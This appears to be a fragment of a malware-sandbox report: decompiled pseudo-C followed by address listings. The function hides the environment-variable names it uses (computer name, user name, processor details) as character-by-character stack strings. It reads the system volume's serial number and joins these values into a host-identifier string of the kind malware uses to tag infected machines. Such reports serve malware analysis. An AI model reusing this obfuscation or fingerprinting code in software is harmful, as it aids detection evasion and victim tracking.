                                                                                                                                                                                                                                                                                                      				struct _GUID _v352;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v356;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v360;
                                                                                                                                                                                                                                                                                                      				char* _v364;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v368;
                                                                                                                                                                                                                                                                                                      				void* _v372;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v388;
                                                                                                                                                                                                                                                                                                      				void _v396;
                                                                                                                                                                                                                                                                                                      				void* _t340;
                                                                                                                                                                                                                                                                                                      				void* _t345;
                                                                                                                                                                                                                                                                                                      				void* _t378;
                                                                                                                                                                                                                                                                                                      				void* _t380;
                                                                                                                                                                                                                                                                                                      				void* _t382;
                                                                                                                                                                                                                                                                                                      				void* _t384;
                                                                                                                                                                                                                                                                                                      				struct _GUID* _t392;
                                                                                                                                                                                                                                                                                                      				void* _t399;
                                                                                                                                                                                                                                                                                                      				void* _t403;
                                                                                                                                                                                                                                                                                                      				void* _t407;
                                                                                                                                                                                                                                                                                                      				void* _t419;
                                                                                                                                                                                                                                                                                                      				void* _t425;
                                                                                                                                                                                                                                                                                                      				void* _t436;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t438;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t439;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t440;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t441;
                                                                                                                                                                                                                                                                                                      				void* _t443;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t444;
                                                                                                                                                                                                                                                                                                      				long _t455;
                                                                                                                                                                                                                                                                                                      				void* _t458;
                                                                                                                                                                                                                                                                                                      				long _t468;
                                                                                                                                                                                                                                                                                                      				void* _t472;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t477;
                                                                                                                                                                                                                                                                                                      				void* _t480;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t485;
                                                                                                                                                                                                                                                                                                      				void* _t487;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t615;
                                                                                                                                                                                                                                                                                                      				void* _t660;
                                                                                                                                                                                                                                                                                                      				void* _t661;
                                                                                                                                                                                                                                                                                                      				void* _t662;
                                                                                                                                                                                                                                                                                                      				void* _t663;
                                                                                                                                                                                                                                                                                                      				void* _t664;
                                                                                                                                                                                                                                                                                                      				void* _t665;
                                                                                                                                                                                                                                                                                                      				void* _t666;
                                                                                                                                                                                                                                                                                                      				void* _t667;
                                                                                                                                                                                                                                                                                                      				void* _t669;
                                                                                                                                                                                                                                                                                                      				void* _t672;
                                                                                                                                                                                                                                                                                                      				void* _t673;
                                                                                                                                                                                                                                                                                                      				void* _t674;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v84 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0 || _a8 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v84;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_v12 = 0;
                                                                                                                                                                                                                                                                                                      				_v8 = 0;
                                                                                                                                                                                                                                                                                                      				_v164 = 0x43;
                                                                                                                                                                                                                                                                                                      				_v162 = 0x4f;
                                                                                                                                                                                                                                                                                                      				_v160 = 0x4d;
                                                                                                                                                                                                                                                                                                      				_v158 = 0x50;
                                                                                                                                                                                                                                                                                                      				_v156 = 0x55;
                                                                                                                                                                                                                                                                                                      				_v154 = 0x54;
                                                                                                                                                                                                                                                                                                      				_v152 = 0x45;
                                                                                                                                                                                                                                                                                                      				_v150 = 0x52;
                                                                                                                                                                                                                                                                                                      				_v148 = 0x4e;
                                                                                                                                                                                                                                                                                                      				_v146 = 0x41;
                                                                                                                                                                                                                                                                                                      				_v144 = 0x4d;
                                                                                                                                                                                                                                                                                                      				_v142 = 0x45;
                                                                                                                                                                                                                                                                                                      				_v140 = 0;
                                                                                                                                                                                                                                                                                                      				_v68 = 0;
                                                                                                                                                                                                                                                                                                      				_v20 = 0;
                                                                                                                                                                                                                                                                                                      				_t340 = E030CD620( &_v164,  &_v68); // executed
                                                                                                                                                                                                                                                                                                      				_t661 = _t660 + 8;
                                                                                                                                                                                                                                                                                                      				if(_t340 == 0) {
                                                                                                                                                                                                                                                                                                      					L9:
                                                                                                                                                                                                                                                                                                      					_v112 = 0x55;
                                                                                                                                                                                                                                                                                                      					_v110 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v108 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v106 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v104 = 0x4e;
                                                                                                                                                                                                                                                                                                      					_v102 = 0x41;
                                                                                                                                                                                                                                                                                                      					_v100 = 0x4d;
                                                                                                                                                                                                                                                                                                      					_v98 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v96 = 0;
                                                                                                                                                                                                                                                                                                      					_v72 = 0;
                                                                                                                                                                                                                                                                                                      					_v24 = 0;
                                                                                                                                                                                                                                                                                                      					_t345 = E030CD620( &_v112,  &_v72); // executed
                                                                                                                                                                                                                                                                                                      					_t662 = _t661 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t345 != 0) {
                                                                                                                                                                                                                                                                                                      						_t564 = _v72;
                                                                                                                                                                                                                                                                                                      						_t477 = E030CBB40(_v72, _v72);
                                                                                                                                                                                                                                                                                                      						_t673 = _t662 + 4;
                                                                                                                                                                                                                                                                                                      						_v24 = _t477;
                                                                                                                                                                                                                                                                                                      						if(_v24 != 0) {
                                                                                                                                                                                                                                                                                                      							_t480 = E030C7850( &_v12, _v24); // executed
                                                                                                                                                                                                                                                                                                      							_t673 = _t673 + 8;
                                                                                                                                                                                                                                                                                                      							if(_t480 != 0 && _v24 != 0) {
                                                                                                                                                                                                                                                                                                      								_push(_v72);
                                                                                                                                                                                                                                                                                                      								_push(_v12);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x134))))();
                                                                                                                                                                                                                                                                                                      								_t564 = _v8 + _v24;
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v24;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						E030C7700(_t564, _v72); // executed
                                                                                                                                                                                                                                                                                                      						_t662 = _t673 + 4;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v136 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v134 = 0x59;
                                                                                                                                                                                                                                                                                                      					_v132 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v130 = 0x54;
                                                                                                                                                                                                                                                                                                      					_v128 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v126 = 0x4d;
                                                                                                                                                                                                                                                                                                      					_v124 = 0x44;
                                                                                                                                                                                                                                                                                                      					_v122 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v120 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v118 = 0x56;
                                                                                                                                                                                                                                                                                                      					_v116 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v114 = 0;
                                                                                                                                                                                                                                                                                                      					_v40 = 0;
                                                                                                                                                                                                                                                                                                      					_v88 = 0;
                                                                                                                                                                                                                                                                                                      					if( *((intOrPtr*)(E030C16E0() + 0xd4)) != 0) {
                                                                                                                                                                                                                                                                                                      						_t553 =  &_v136;
                                                                                                                                                                                                                                                                                                      						_t443 = E030CD620( &_v136,  &_v40); // executed
                                                                                                                                                                                                                                                                                                      						_t662 = _t662 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t443 != 0) {
                                                                                                                                                                                                                                                                                                      							_t444 = E030CBB40( &_v136, _v40);
                                                                                                                                                                                                                                                                                                      							_t672 = _t662 + 4;
                                                                                                                                                                                                                                                                                                      							_v88 = _t444;
                                                                                                                                                                                                                                                                                                      							if(_v88 != 0) {
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push( &_v348);
                                                                                                                                                                                                                                                                                                      								_t553 = _v40;
                                                                                                                                                                                                                                                                                                      								_push(_v40);
                                                                                                                                                                                                                                                                                                      								if(( *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x170))))() & 0x000000ff) != 0) {
                                                                                                                                                                                                                                                                                                      									_v372 = 0x18;
                                                                                                                                                                                                                                                                                                      									_v368 = 0;
                                                                                                                                                                                                                                                                                                      									_v360 = 0x40;
                                                                                                                                                                                                                                                                                                      									_v364 =  &_v348;
                                                                                                                                                                                                                                                                                                      									_v356 = 0;
                                                                                                                                                                                                                                                                                                      									_v352 = 0;
                                                                                                                                                                                                                                                                                                      									_push(8);
                                                                                                                                                                                                                                                                                                      									_push(0);
                                                                                                                                                                                                                                                                                                      									_push( &_v340);
                                                                                                                                                                                                                                                                                                      									 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      									_v80 = 0;
                                                                                                                                                                                                                                                                                                      									E030C16E0();
                                                                                                                                                                                                                                                                                                      									_t455 = NtCreateFile( &_v80, 0x100001,  &_v372,  &_v340, 0, 0x80, 1, 1, 0, 0, 0); // executed
                                                                                                                                                                                                                                                                                                      									_v328 = _t455;
                                                                                                                                                                                                                                                                                                      									if(_v328 >= 0) {
                                                                                                                                                                                                                                                                                                      										_push(8);
                                                                                                                                                                                                                                                                                                      										_push(0);
                                                                                                                                                                                                                                                                                                      										_push( &_v340);
                                                                                                                                                                                                                                                                                                      										 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      										_push(0x18);
                                                                                                                                                                                                                                                                                                      										_push(0);
                                                                                                                                                                                                                                                                                                      										_push( &_v396);
                                                                                                                                                                                                                                                                                                      										 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      										E030C16E0();
                                                                                                                                                                                                                                                                                                      										_t468 = NtQueryVolumeInformationFile(_v80,  &_v340,  &_v396, 0x18, 1); // executed
                                                                                                                                                                                                                                                                                                      										_v332 = _t468;
                                                                                                                                                                                                                                                                                                      										if(_v332 >= 0) {
                                                                                                                                                                                                                                                                                                      											_t472 = E030C7850( &_v12, _v8 + 8); // executed
                                                                                                                                                                                                                                                                                                      											_t672 = _t672 + 8;
                                                                                                                                                                                                                                                                                                      											if(_t472 != 0) {
                                                                                                                                                                                                                                                                                                      												_push(_v388);
                                                                                                                                                                                                                                                                                                      												_push(0x30d4024);
                                                                                                                                                                                                                                                                                                      												_push(_v12 + _v8 * 2);
                                                                                                                                                                                                                                                                                                      												 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x150))))();
                                                                                                                                                                                                                                                                                                      												_t672 = _t672 + 0xc;
                                                                                                                                                                                                                                                                                                      												_v8 = _v8 + 8;
                                                                                                                                                                                                                                                                                                      											}
                                                                                                                                                                                                                                                                                                      										}
                                                                                                                                                                                                                                                                                                      										E030C16E0();
                                                                                                                                                                                                                                                                                                      										NtClose(_v80); // executed
                                                                                                                                                                                                                                                                                                      									}
                                                                                                                                                                                                                                                                                                      									_t458 = E030C16E0();
                                                                                                                                                                                                                                                                                                      									_t553 =  *((intOrPtr*)(_t458 + 0x28));
                                                                                                                                                                                                                                                                                                      									 *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28))))( *((intOrPtr*)(E030CD560() + 0x18)), 0, _v344);
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							E030C7700(_t553, _v40); // executed
                                                                                                                                                                                                                                                                                                      							_t662 = _t672 + 4;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v280 = 0x50;
                                                                                                                                                                                                                                                                                                      					_v278 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v276 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v274 = 0x43;
                                                                                                                                                                                                                                                                                                      					_v272 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v270 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v268 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v266 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v264 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v262 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v260 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v258 = 0x44;
                                                                                                                                                                                                                                                                                                      					_v256 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v254 = 0x4e;
                                                                                                                                                                                                                                                                                                      					_v252 = 0x54;
                                                                                                                                                                                                                                                                                                      					_v250 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v248 = 0x46;
                                                                                                                                                                                                                                                                                                      					_v246 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v244 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v242 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v240 = 0;
                                                                                                                                                                                                                                                                                                      					_v196 = 0x50;
                                                                                                                                                                                                                                                                                                      					_v194 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v192 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v190 = 0x43;
                                                                                                                                                                                                                                                                                                      					_v188 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v186 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v184 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v182 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v180 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v178 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v176 = 0x4c;
                                                                                                                                                                                                                                                                                                      					_v174 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v172 = 0x56;
                                                                                                                                                                                                                                                                                                      					_v170 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v168 = 0x4c;
                                                                                                                                                                                                                                                                                                      					_v166 = 0;
                                                                                                                                                                                                                                                                                                      					_v324 = 0x4e;
                                                                                                                                                                                                                                                                                                      					_v322 = 0x55;
                                                                                                                                                                                                                                                                                                      					_v320 = 0x4d;
                                                                                                                                                                                                                                                                                                      					_v318 = 0x42;
                                                                                                                                                                                                                                                                                                      					_v316 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v314 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v312 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v310 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v308 = 0x46;
                                                                                                                                                                                                                                                                                                      					_v306 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v304 = 0x50;
                                                                                                                                                                                                                                                                                                      					_v302 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v300 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v298 = 0x43;
                                                                                                                                                                                                                                                                                                      					_v296 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v294 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v292 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v290 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v288 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v286 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v284 = 0;
                                                                                                                                                                                                                                                                                                      					_v236 = 0x50;
                                                                                                                                                                                                                                                                                                      					_v234 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v232 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v230 = 0x43;
                                                                                                                                                                                                                                                                                                      					_v228 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v226 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v224 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v222 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v220 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v218 = 0x5f;
                                                                                                                                                                                                                                                                                                      					_v216 = 0x52;
                                                                                                                                                                                                                                                                                                      					_v214 = 0x45;
                                                                                                                                                                                                                                                                                                      					_v212 = 0x56;
                                                                                                                                                                                                                                                                                                      					_v210 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v208 = 0x53;
                                                                                                                                                                                                                                                                                                      					_v206 = 0x49;
                                                                                                                                                                                                                                                                                                      					_v204 = 0x4f;
                                                                                                                                                                                                                                                                                                      					_v202 = 0x4e;
                                                                                                                                                                                                                                                                                                      					_v200 = 0;
                                                                                                                                                                                                                                                                                                      					_v36 = 0;
                                                                                                                                                                                                                                                                                                      					_v64 = 0;
                                                                                                                                                                                                                                                                                                      					_t378 = E030CD620( &_v280,  &_v36); // executed
                                                                                                                                                                                                                                                                                                      					_t663 = _t662 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t378 != 0) {
                                                                                                                                                                                                                                                                                                      						_t441 = E030CBB40(_v36, _v36);
                                                                                                                                                                                                                                                                                                      						_t663 = _t663 + 4;
                                                                                                                                                                                                                                                                                                      						_v64 = _t441;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v44 = 0;
                                                                                                                                                                                                                                                                                                      					_v48 = 0;
                                                                                                                                                                                                                                                                                                      					_t380 = E030CD620( &_v196,  &_v44); // executed
                                                                                                                                                                                                                                                                                                      					_t664 = _t663 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t380 != 0) {
                                                                                                                                                                                                                                                                                                      						_t440 = E030CBB40(_v44, _v44);
                                                                                                                                                                                                                                                                                                      						_t664 = _t664 + 4;
                                                                                                                                                                                                                                                                                                      						_v48 = _t440;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v76 = 0;
                                                                                                                                                                                                                                                                                                      					_v56 = 0;
                                                                                                                                                                                                                                                                                                      					_t382 = E030CD620(_v76,  &_v76);
                                                                                                                                                                                                                                                                                                      					_t665 = _t664 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t382 != 0) {
                                                                                                                                                                                                                                                                                                      						_t439 = E030CBB40(_v76, _v76);
                                                                                                                                                                                                                                                                                                      						_t665 = _t665 + 4;
                                                                                                                                                                                                                                                                                                      						_v56 = _t439;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v52 = 0;
                                                                                                                                                                                                                                                                                                      					_v32 = 0;
                                                                                                                                                                                                                                                                                                      					_t384 = E030CD620( &_v236,  &_v52); // executed
                                                                                                                                                                                                                                                                                                      					_t666 = _t665 + 8;
                                                                                                                                                                                                                                                                                                      					if(_t384 != 0) {
                                                                                                                                                                                                                                                                                                      						_t438 = E030CBB40(_v52, _v52);
                                                                                                                                                                                                                                                                                                      						_t666 = _t666 + 4;
                                                                                                                                                                                                                                                                                                      						_v32 = _t438;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_t615 = _v64 + _v48 + _v56 + _v32;
                                                                                                                                                                                                                                                                                                      					_v92 = _t615;
                                                                                                                                                                                                                                                                                                      					if(_t615 != 0) {
                                                                                                                                                                                                                                                                                                      						_t545 =  &_v12;
                                                                                                                                                                                                                                                                                                      						_t419 = E030C7850( &_v12, _v8 + _v92); // executed
                                                                                                                                                                                                                                                                                                      						_t669 = _t666 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t419 != 0) {
                                                                                                                                                                                                                                                                                                      							if(_v64 != 0) {
                                                                                                                                                                                                                                                                                                      								_t436 = E030C16E0();
                                                                                                                                                                                                                                                                                                      								_t545 =  *((intOrPtr*)(_t436 + 0x134));
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(_t436 + 0x134))))(_v12, _v36);
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v64;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_v48 != 0) {
                                                                                                                                                                                                                                                                                                      								_push(_v44);
                                                                                                                                                                                                                                                                                                      								_t545 = _v12;
                                                                                                                                                                                                                                                                                                      								_push(_v12);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x134))))();
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v48;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_v56 != 0) {
                                                                                                                                                                                                                                                                                                      								_push(_v76);
                                                                                                                                                                                                                                                                                                      								_push(_v12);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x134))))();
                                                                                                                                                                                                                                                                                                      								_t545 = _v8 + _v56;
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v56;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							if(_v32 != 0) {
                                                                                                                                                                                                                                                                                                      								_t425 = E030C16E0();
                                                                                                                                                                                                                                                                                                      								_t545 =  *((intOrPtr*)(_t425 + 0x134));
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(_t425 + 0x134))))(_v12, _v52);
                                                                                                                                                                                                                                                                                                      								_v8 = _v8 + _v32;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						E030C7700(_t545, _v36); // executed
                                                                                                                                                                                                                                                                                                      						E030C7700(_v44, _v44); // executed
                                                                                                                                                                                                                                                                                                      						E030C7700(_v44, _v52); // executed
                                                                                                                                                                                                                                                                                                      						_t666 = _t669 + 0xc;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      						_t407 = E030C7850( &_v12, _v8 + 3); // executed
                                                                                                                                                                                                                                                                                                      						_t666 = _t666 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t407 != 0) {
                                                                                                                                                                                                                                                                                                      							 *((short*)(_v12 + _v8 * 2)) = ( *(E030CD560() + 0xa4) & 0x0000ffff) + 0x30;
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + 1;
                                                                                                                                                                                                                                                                                                      							 *((short*)(_v12 + _v8 * 2)) = ( *(E030CD560() + 0xa8) & 0x0000ffff) + 0x30;
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + 1;
                                                                                                                                                                                                                                                                                                      							 *((short*)(_v12 + _v8 * 2)) = (E030CEC60() & 0x0000ffff) + 0x30;
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_v16 =  *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x29c))))();
                                                                                                                                                                                                                                                                                                      					if(_v16 <= 0) {
                                                                                                                                                                                                                                                                                                      						L57:
                                                                                                                                                                                                                                                                                                      						if(_v8 != 0 && _v12 != 0) {
                                                                                                                                                                                                                                                                                                      							 *((short*)(_v12 + _v8 * 2)) = 0;
                                                                                                                                                                                                                                                                                                      							 *_a4 = _v12;
                                                                                                                                                                                                                                                                                                      							 *_a8 = _v8;
                                                                                                                                                                                                                                                                                                      							_v84 = 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						return _v84;
                                                                                                                                                                                                                                                                                                      					} else {
                                                                                                                                                                                                                                                                                                      						_t392 = E030C7460(_v16 << 2); // executed
                                                                                                                                                                                                                                                                                                      						_t667 = _t666 + 4;
                                                                                                                                                                                                                                                                                                      						_v28 = _t392;
                                                                                                                                                                                                                                                                                                      						if(_v28 == 0) {
                                                                                                                                                                                                                                                                                                      							goto L57;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_t534 = _v28;
                                                                                                                                                                                                                                                                                                      						_push(_v28);
                                                                                                                                                                                                                                                                                                      						_push(_v16);
                                                                                                                                                                                                                                                                                                      						if( *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x29c))))() != _v16) {
                                                                                                                                                                                                                                                                                                      							L56:
                                                                                                                                                                                                                                                                                                      							E030C7700(_t534, _v28); // executed
                                                                                                                                                                                                                                                                                                      							goto L57;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_t534 =  &_v12;
                                                                                                                                                                                                                                                                                                      						_t399 = E030C7850( &_v12, _v8 + _v16 * 8); // executed
                                                                                                                                                                                                                                                                                                      						_t667 = _t667 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t399 == 0) {
                                                                                                                                                                                                                                                                                                      							goto L56;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_v60 = 0;
                                                                                                                                                                                                                                                                                                      						while(_v60 < _v16) {
                                                                                                                                                                                                                                                                                                      							_t403 = E030C16E0();
                                                                                                                                                                                                                                                                                                      							_t534 =  *((intOrPtr*)(_t403 + 0x150));
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(_t403 + 0x150))))(_v12 + _v8 * 2, 0x30d4030,  *((intOrPtr*)(_v28 + _v60 * 4)));
                                                                                                                                                                                                                                                                                                      							_t667 = _t667 + 0xc;
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + 8;
                                                                                                                                                                                                                                                                                                      							_v60 = _v60 + 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						goto L56;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_t485 = E030CBB40( &_v68, _v68);
                                                                                                                                                                                                                                                                                                      					_t674 = _t661 + 4;
                                                                                                                                                                                                                                                                                                      					_v20 = _t485;
                                                                                                                                                                                                                                                                                                      					if(_v20 != 0) {
                                                                                                                                                                                                                                                                                                      						_t487 = E030C7850( &_v12, _v20); // executed
                                                                                                                                                                                                                                                                                                      						_t674 = _t674 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t487 != 0 && _v20 != 0) {
                                                                                                                                                                                                                                                                                                      							_push(_v68);
                                                                                                                                                                                                                                                                                                      							_push(_v12);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x12c))))();
                                                                                                                                                                                                                                                                                                      							_v8 = _v8 + _v20;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					E030C7700(_v68, _v68); // executed
                                                                                                                                                                                                                                                                                                      					_t661 = _t674 + 4;
                                                                                                                                                                                                                                                                                                      					goto L9;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}





























































































































































































                                                                                                                                                                                                                                                                                                      0x030c4a09
                                                                                                                                                                                                                                                                                                      0x030c4a14
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c4a1c
                                                                                                                                                                                                                                                                                                      0x030c4a24
                                                                                                                                                                                                                                                                                                      0x030c4a2b
                                                                                                                                                                                                                                                                                                      0x030c4a37
                                                                                                                                                                                                                                                                                                      0x030c4a43
                                                                                                                                                                                                                                                                                                      0x030c4a4f
                                                                                                                                                                                                                                                                                                      0x030c4a5b
                                                                                                                                                                                                                                                                                                      0x030c4a67
                                                                                                                                                                                                                                                                                                      0x030c4a73
                                                                                                                                                                                                                                                                                                      0x030c4a7f
                                                                                                                                                                                                                                                                                                      0x030c4a8b
                                                                                                                                                                                                                                                                                                      0x030c4a97
                                                                                                                                                                                                                                                                                                      0x030c4aa3
                                                                                                                                                                                                                                                                                                      0x030c4aaf
                                                                                                                                                                                                                                                                                                      0x030c4abb
                                                                                                                                                                                                                                                                                                      0x030c4ac4
                                                                                                                                                                                                                                                                                                      0x030c4acb
                                                                                                                                                                                                                                                                                                      0x030c4ad2
                                                                                                                                                                                                                                                                                                      0x030c4ae4
                                                                                                                                                                                                                                                                                                      0x030c4ae9
                                                                                                                                                                                                                                                                                                      0x030c4aee
                                                                                                                                                                                                                                                                                                      0x030c4b49
                                                                                                                                                                                                                                                                                                      0x030c4b4e
                                                                                                                                                                                                                                                                                                      0x030c4b57
                                                                                                                                                                                                                                                                                                      0x030c4b60
                                                                                                                                                                                                                                                                                                      0x030c4b69
                                                                                                                                                                                                                                                                                                      0x030c4b72
                                                                                                                                                                                                                                                                                                      0x030c4b7b
                                                                                                                                                                                                                                                                                                      0x030c4b84
                                                                                                                                                                                                                                                                                                      0x030c4b8d
                                                                                                                                                                                                                                                                                                      0x030c4b93
                                                                                                                                                                                                                                                                                                      0x030c4b97
                                                                                                                                                                                                                                                                                                      0x030c4b9e
                                                                                                                                                                                                                                                                                                      0x030c4bad
                                                                                                                                                                                                                                                                                                      0x030c4bb2
                                                                                                                                                                                                                                                                                                      0x030c4bb7
                                                                                                                                                                                                                                                                                                      0x030c4bb9
                                                                                                                                                                                                                                                                                                      0x030c4bbd
                                                                                                                                                                                                                                                                                                      0x030c4bc2
                                                                                                                                                                                                                                                                                                      0x030c4bc5
                                                                                                                                                                                                                                                                                                      0x030c4bcc
                                                                                                                                                                                                                                                                                                      0x030c4bd6
                                                                                                                                                                                                                                                                                                      0x030c4bdb
                                                                                                                                                                                                                                                                                                      0x030c4be0
                                                                                                                                                                                                                                                                                                      0x030c4beb
                                                                                                                                                                                                                                                                                                      0x030c4bef
                                                                                                                                                                                                                                                                                                      0x030c4bfb
                                                                                                                                                                                                                                                                                                      0x030c4c00
                                                                                                                                                                                                                                                                                                      0x030c4c03
